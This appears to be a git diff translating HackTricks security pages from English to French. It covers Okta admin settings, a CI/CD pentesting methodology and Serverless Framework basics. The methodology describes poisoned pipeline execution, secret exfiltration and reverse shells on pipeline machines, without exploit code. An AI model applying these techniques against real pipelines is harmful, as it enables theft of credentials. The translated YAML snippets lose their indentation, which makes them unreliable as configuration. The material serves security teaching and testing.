+Ici, vous pouvez trouver les politiques de session assignées à différents groupes. Par exemple :
 
 <figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
 
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+Il est recommandé de demander MFA, de limiter la durée de vie de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
 
 ### Identity Providers
 
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+Les fournisseurs d'identité (IdP) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdP dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
 
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdP) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdP, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
 
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**Si un fournisseur d'identité est configuré**, d'un point de vue des attaquants et des défenseurs, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromet pourrait également accéder à l'environnement Okta.
 
 ### Delegated Authentication
 
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+L'authentification déléguée permet aux utilisateurs de se connecter à Okta en saisissant des identifiants pour le **Active Directory (AD) ou LDAP** de leur organisation.
 
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+Encore une fois, vérifiez cela, car un attaquant compromettant l'AD d'une organisation pourrait être en mesure de pivoter vers Okta grâce à ce paramètre.
 
 ### Network
 
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+Une zone réseau est une limite configurable que vous pouvez utiliser pour **accorder ou restreindre l'accès aux ordinateurs et appareils** de votre organisation en fonction de l'**adresse IP** qui demande l'accès. Vous pouvez définir une zone réseau en spécifiant une ou plusieurs adresses IP individuelles, des plages d'adresses IP ou des emplacements géographiques.
 
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+Après avoir défini une ou plusieurs zones réseau, vous pouvez **les utiliser dans les politiques de session globales**, **les politiques d'authentification**, les notifications VPN et **les règles de routage**.
 
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+D'un point de vue des attaquants, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si des **IP sont plus privilégiées** que d'autres). D'un point de vue des attaquants, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
 
 ### Device Integrations
 
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
-  - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Gestion des points de terminaison** : La gestion des points de terminaison est une condition qui peut être appliquée dans une politique d'authentification pour garantir que les appareils gérés ont accès à une application.
+- Je ne l'ai pas encore vu utilisé. À faire.
+- **Services de notification** : Je ne l'ai pas encore vu utilisé. À faire.
 
 ### API
 
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+Vous pouvez créer des jetons API Okta sur cette page, et voir ceux qui ont été **créés**, leurs **privileges**, le temps d'**expiration** et les **URLs d'origine**. Notez qu'un jeton API est généré avec les permissions de l'utilisateur qui a créé le jeton et n'est valide que si l'**utilisateur** qui les a créés est **actif**.
 
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+Les **Origines de confiance** accordent l'accès aux sites Web que vous contrôlez et en qui vous avez confiance pour accéder à votre organisation Okta via l'API Okta.
 
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+Il ne devrait pas y avoir beaucoup de jetons API, car s'il y en a, un attaquant pourrait essayer d'y accéder et de les utiliser.
 
 ## Workflow
 
 ### Automations
 
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+Les automatisations vous permettent de créer des actions automatisées qui s'exécutent en fonction d'un ensemble de conditions de déclenchement qui se produisent pendant le cycle de vie des utilisateurs finaux.
 
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+Par exemple, une condition pourrait être "Inactivité de l'utilisateur dans Okta" ou "Expiration du mot de passe de l'utilisateur dans Okta" et l'action pourrait être "Envoyer un email à l'utilisateur" ou "Changer l'état du cycle de vie de l'utilisateur dans Okta".
 
 ## Reports
 
 ### Reports
 
-Download logs. They are **sent** to the **email address** of the current account.
+Téléchargez les journaux. Ils sont **envoyés** à l'**adresse email** du compte actuel.
 
 ### System Log
 
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+Ici, vous pouvez trouver les **journaux des actions effectuées par les utilisateurs** avec beaucoup de détails comme la connexion dans Okta ou dans des applications via Okta.
 
 ### Import Monitoring
 
-This can **import logs from the other platforms** accessed with Okta.
+Cela peut **importer des journaux d'autres plateformes** accessibles avec Okta.
 
 ### Rate limits
 
-Check the API rate limits reached.
+Vérifiez les limites de taux API atteintes.
 
 ## Settings
 
 ### Account
 
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour d'Okta et quel type de mises à jour d'Okta.
 
 ### Downloads
 
-Here you can download Okta agents to sync Okta with other technologies.
+Ici, vous pouvez télécharger des agents Okta pour synchroniser Okta avec d'autres technologies.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..21d70f745 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
 
 ## VCS
 
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS signifie **Système de Contrôle de Version**, ces systèmes permettent aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Fournisseurs de cloud (ils offrent leurs propres plateformes VCS)
 
 ## CI/CD Pipelines
 
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** à diverses fins, y compris la construction, les tests et le déploiement d'applications. Ces flux de travail automatisés sont **déclenchés par des actions spécifiques**, telles que des envois de code, des demandes de tirage ou des tâches planifiées. Ils sont utiles pour rationaliser le processus du développement à la production.
 
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer du code ou accéder à des informations sensibles**.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Même si certaines plateformes VCS permettent de créer des pipelines, dans cette section, nous allons analyser uniquement les attaques potentielles sur le contrôle du code source.
 
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+Les plateformes contenant le code source de votre projet contiennent des informations sensibles et les personnes doivent être très prudentes avec les autorisations accordées à l'intérieur de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que les attaquants pourraient exploiter :
 
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
-  - **Register**: Some platforms will just allow external users to create an account.
-  - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
-  - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
-  - If no secret is in place, the attacker could abuse the webhook of the third party platform
-  - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
-  - Compromise the main branch to **compromise production**.
-  - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
-  - **Compromise the pipeline** (check next section)
+- **Fuites** : Si votre code contient des fuites dans les commits et que l'attaquant peut accéder au dépôt (parce qu'il est public ou parce qu'il a accès), il pourrait découvrir les fuites.
+- **Accès** : Si un attaquant peut **accéder à un compte sur la plateforme VCS**, il pourrait obtenir **plus de visibilité et d'autorisations**.
+- **Enregistrement** : Certaines plateformes ne permettront qu'aux utilisateurs externes de créer un compte.
+- **SSO** : Certaines plateformes ne permettront pas aux utilisateurs de s'inscrire, mais permettront à quiconque d'accéder avec un SSO valide (donc un attaquant pourrait utiliser son compte github pour entrer par exemple).
+- **Identifiants** : Nom d'utilisateur + Mot de passe, jetons personnels, clés ssh, jetons Oauth, cookies... il existe plusieurs types de jetons qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un dépôt.
+- **Webhooks** : Les plateformes VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
+- Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la plateforme tierce.
+- Si le secret est dans l'URL, il en va de même et l'attaquant a également le secret.
+- **Compromission du code :** Si un acteur malveillant a un certain type d'accès **en écriture** sur les dépôts, il pourrait essayer d'**injecter du code malveillant**. Pour réussir, il pourrait avoir besoin de **contourner les protections de branche**. Ces actions peuvent être effectuées avec différents objectifs en tête :
+- Compromettre la branche principale pour **compromettre la production**.
+- Compromettre la principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent généralement des tests, terraform ou d'autres choses à l'intérieur du dépôt sur leurs machines).
+- **Compromettre le pipeline** (voir la section suivante)
 
 ## Pipelines Pentesting Methodology
 
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+La manière la plus courante de définir un pipeline est d'utiliser un **fichier de configuration CI hébergé dans le dépôt** que le pipeline construit. Ce fichier décrit l'ordre des travaux exécutés, les conditions qui affectent le flux et les paramètres de l'environnement de construction.\
+Ces fichiers ont généralement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML des Actions GitHub situés sous .github/workflows. Lorsqu'il est déclenché, le travail du pipeline **tire le code** de la source sélectionnée (par exemple, commit / branche), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
 
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+Par conséquent, l'objectif ultime de l'attaquant est de **compromettre d'une manière ou d'une autre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
 
 ### PPE - Poisoned Pipeline Execution
 
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Le chemin de l'Exécution de Pipeline Empoisonné (PPE) exploite les autorisations dans un dépôt SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs ayant les autorisations nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le travail du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
 
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Pour qu'un acteur malveillant réussisse à effectuer une attaque PPE, il doit être capable de :
 
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
-  - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
-  - For this, he might need to be able to **bypass branch protections**.
+- Avoir **un accès en écriture à la plateforme VCS**, car généralement les pipelines sont déclenchés lorsqu'un envoi ou une demande de tirage est effectuée. (Consultez la méthodologie de pentesting VCS pour un résumé des moyens d'obtenir un accès).
+- Notez que parfois une **PR externe compte comme "accès en écriture"**.
+- Même s'il a des autorisations d'écriture, il doit s'assurer qu'il peut **modifier le fichier de configuration CI ou d'autres fichiers sur lesquels la configuration repose**.
+- Pour cela, il pourrait avoir besoin de **contourner les protections de branche**.
 
-There are 3 PPE flavours:
+Il existe 3 variantes de PPE :
 
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
-  - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE** : Une attaque **D-PPE directe** se produit lorsque l'acteur **modifie le fichier de configuration CI** qui va être exécuté.
+- **I-DDE** : Une attaque **I-DDE indirecte** se produit lorsque l'acteur **modifie** un **fichier** sur lequel le fichier de configuration CI qui va être exécuté **s'appuie** (comme un fichier make ou une configuration terraform).
+- **PPE Public ou 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture dans le dépôt** (et qui pourraient même ne pas faire partie de l'organisation) car ils peuvent envoyer une PR.
+- **Injection de Commande 3PE** : En général, les pipelines CI/CD **définiront des variables d'environnement** avec **des informations sur la PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre de la PR) et est **utilisée** dans un **endroit dangereux** (comme l'exécution de **commandes sh**), un attaquant pourrait **injecter des commandes là-dedans**.
 
 ### Exploitation Benefits
 
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant pourrait obtenir après une exploitation réussie :
 
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
-  - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
-  - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
-  - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
-  - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
-  - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Secrets** : Comme mentionné précédemment, les pipelines nécessitent des **privilèges** pour leurs travaux (récupérer le code, le construire, le déployer...) et ces privilèges sont généralement **accordés dans des secrets**. Ces secrets sont généralement accessibles via **des variables d'environnement ou des fichiers à l'intérieur du système**. Par conséquent, un attaquant essaiera toujours d'exfiltrer autant de secrets que possible.
+- Selon la plateforme de pipeline, l'attaquant **pourrait avoir besoin de spécifier les secrets dans la configuration**. Cela signifie que si l'attaquant ne peut pas modifier le pipeline de configuration CI (**I-PPE** par exemple), il pourrait **seulement exfiltrer les secrets que ce pipeline a**.
+- **Calcul** : Le code est exécuté quelque part, selon l'endroit où il est exécuté, un attaquant pourrait être en mesure de pivoter davantage.
+- **Sur site** : Si les pipelines sont exécutés sur site, un attaquant pourrait se retrouver dans un **réseau interne avec accès à plus de ressources**.
+- **Cloud** : L'attaquant pourrait accéder à **d'autres machines dans le cloud** mais pourrait également **exfiltrer** des jetons de rôles IAM/comptes de service **pour obtenir un accès supplémentaire à l'intérieur du cloud**.
+- **Machines de plateforme** : Parfois, les travaux seront exécutés à l'intérieur des **machines de la plateforme des pipelines**, qui se trouvent généralement dans un cloud avec **aucun autre accès**.
+- **Sélectionnez-le :** Parfois, la **plateforme des pipelines aura configuré plusieurs machines** et si vous pouvez **modifier le fichier de configuration CI**, vous pouvez **indiquer où vous souhaitez exécuter le code malveillant**. Dans cette situation, un attaquant exécutera probablement un shell inversé sur chaque machine possible pour essayer de l'exploiter davantage.
+- **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est construite et déployée à partir de celui-ci, vous pourriez **compromettre le code qui va finir par s'exécuter en production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre chaîne d'approvisionnement logicielle pour la conformité en matière de sécurité basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques du temps de code au temps de déploiement.
 
 ### Top 10 CI/CD Security Risk
 
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Consultez cet article intéressant sur les 10 principaux risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Sur chaque plateforme que vous pouvez exécuter localement, vous trouverez comment la lancer localement afin que vous puissiez la configurer comme vous le souhaitez pour la tester.
+- Laboratoire Gitea + Jenkins : [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code.
 
 ## References
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..eded32d47 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,302 +2,273 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-### Organization
+### Organisation
 
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+Une **Organisation** est l'entité de plus haut niveau au sein de l'écosystème Serverless Framework. Elle représente un **groupe collectif**, tel qu'une entreprise, un département ou toute grande entité, qui englobe plusieurs projets, équipes et applications.
 
-### Team
+### Équipe
 
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+L'**Équipe** est constituée des utilisateurs ayant accès à l'intérieur de l'organisation. Les équipes aident à organiser les membres en fonction des rôles. Les **`Collaborateurs`** peuvent voir et déployer des applications existantes, tandis que les **`Admins`** peuvent créer de nouvelles applications et gérer les paramètres de l'organisation.
 
 ### Application
 
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+Une **App** est un regroupement logique de services liés au sein d'une Organisation. Elle représente une application complète composée de plusieurs services serverless qui travaillent ensemble pour fournir une fonctionnalité cohérente.
 
 ### **Services**
 
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
-
+Un **Service** est le composant central d'une application Serverless. Il représente l'ensemble de votre projet serverless, englobant toutes les fonctions, configurations et ressources nécessaires. Il est généralement défini dans un fichier `serverless.yml`, un service inclut des métadonnées telles que le nom du service, les configurations du fournisseur, les fonctions, les événements, les ressources, les plugins et les variables personnalisées.
 ```yaml
 service: my-service
 provider:
-  name: aws
-  runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
 functions:
-  hello:
-    handler: handler.hello
+hello:
+handler: handler.hello
 ```
-
 <details>
 
-<summary>Function</summary>
+<summary>Fonction</summary>
 
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+Une **Fonction** représente une seule fonction serverless, comme une fonction AWS Lambda. Elle contient le code qui s'exécute en réponse à des événements.
 
+Elle est définie sous la section `functions` dans `serverless.yml`, spécifiant le gestionnaire, l'environnement d'exécution, les événements, les variables d'environnement et d'autres paramètres.
 ```yaml
 functions:
-  hello:
-    handler: handler.hello
-    events:
-      - http:
-          path: hello
-          method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
 ```
-
 </details>
 
 <details>
 
-<summary>Event</summary>
+<summary>Événement</summary>
 
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**Les événements** sont des déclencheurs qui invoquent vos fonctions serverless. Ils définissent comment et quand une fonction doit être exécutée.
 
+Les types d'événements courants incluent les requêtes HTTP, les événements planifiés (tâches cron), les événements de base de données, les téléchargements de fichiers, et plus encore.
 ```yaml
 functions:
-  hello:
-    handler: handler.hello
-    events:
-      - http:
-          path: hello
-          method: get
-      - schedule:
-          rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
 ```
-
 </details>
 
 <details>
 
-<summary>Resource</summary>
+<summary>Ressource</summary>
 
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**Ressources** vous permettent de définir des ressources cloud supplémentaires dont votre service dépend, telles que des bases de données, des buckets de stockage ou des rôles IAM.
 
+Elles sont spécifiées sous la section `resources`, souvent en utilisant la syntaxe CloudFormation pour AWS.
 ```yaml
 resources:
-  Resources:
-    MyDynamoDBTable:
-      Type: AWS::DynamoDB::Table
-      Properties:
-        TableName: my-table
-        AttributeDefinitions:
-          - AttributeName: id
-            AttributeType: S
-        KeySchema:
-          - AttributeName: id
-            KeyType: HASH
-        ProvisionedThroughput:
-          ReadCapacityUnits: 1
-          WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
 ```
-
 </details>
 
 <details>
 
-<summary>Provider</summary>
+<summary>Fournisseur</summary>
 
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+L'objet **Fournisseur** spécifie le fournisseur de services cloud (par exemple, AWS, Azure, Google Cloud) et contient des paramètres de configuration pertinents pour ce fournisseur.
 
+Il inclut des détails comme l'environnement d'exécution, la région, l'étape et les identifiants.
 ```yaml
 yamlCopy codeprovider:
-  name: aws
-  runtime: nodejs14.x
-  region: us-east-1
-  stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
 ```
-
 </details>
 
 <details>
 
-<summary>Stage and Region</summary>
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+<summary>Étape et Région</summary>
 
+L'étape représente différents environnements (par exemple, développement, préproduction, production) où votre service peut être déployé. Elle permet des configurations et des déploiements spécifiques à l'environnement.
 ```yaml
 provider:
-  stage: dev
+stage: dev
 ```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+La région spécifie la région géographique où vos ressources seront déployées. C'est important pour des considérations de latence, de conformité et de disponibilité.
 ```yaml
 provider:
-  region: us-west-2
+region: us-west-2
 ```
-
 </details>
 
 <details>
 
 <summary>Plugins</summary>
 
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
-
+**Plugins** étendent la fonctionnalité du Serverless Framework en ajoutant de nouvelles fonctionnalités ou en s'intégrant à d'autres outils et services. Ils sont définis dans la section `plugins` et installés via npm.
 ```yaml
 plugins:
-  - serverless-offline
-  - serverless-webpack
+- serverless-offline
+- serverless-webpack
 ```
-
 </details>
 
 <details>
 
 <summary>Layers</summary>
 
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
-
+**Layers** vous permettent de regrouper et de gérer le code partagé ou les dépendances séparément de vos fonctions. Cela favorise la réutilisabilité et réduit la taille des packages de déploiement. Ils sont définis sous la section `layers` et référencés par les fonctions.
 ```yaml
 layers:
-  commonLibs:
-    path: layer-common
+commonLibs:
+path: layer-common
 functions:
-  hello:
-    handler: handler.hello
-    layers:
-      - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+</details>
+
+<details>
+
+<summary>Variables et Variables Personnalisées</summary>
+
+**Variables** permettent une configuration dynamique en permettant l'utilisation de placeholders qui sont résolus au moment du déploiement.
+
+- **Syntaxe :** La syntaxe `${variable}` peut référencer des variables d'environnement, le contenu de fichiers ou d'autres paramètres de configuration.
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **Variables Personnalisées :** La section `custom` est utilisée pour définir des variables et des configurations spécifiques à l'utilisateur qui peuvent être réutilisées dans tout le `serverless.yml`.
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
 ```
 
 </details>
 
 <details>
 
-<summary>Variables and Custom Variables</summary>
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
-  ```yaml
-  functions:
-    hello:
-      handler: handler.hello
-      environment:
-        TABLE_NAME: ${self:custom.tableName}
-  ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
-  ```yaml
-  custom:
-    tableName: my-dynamodb-table
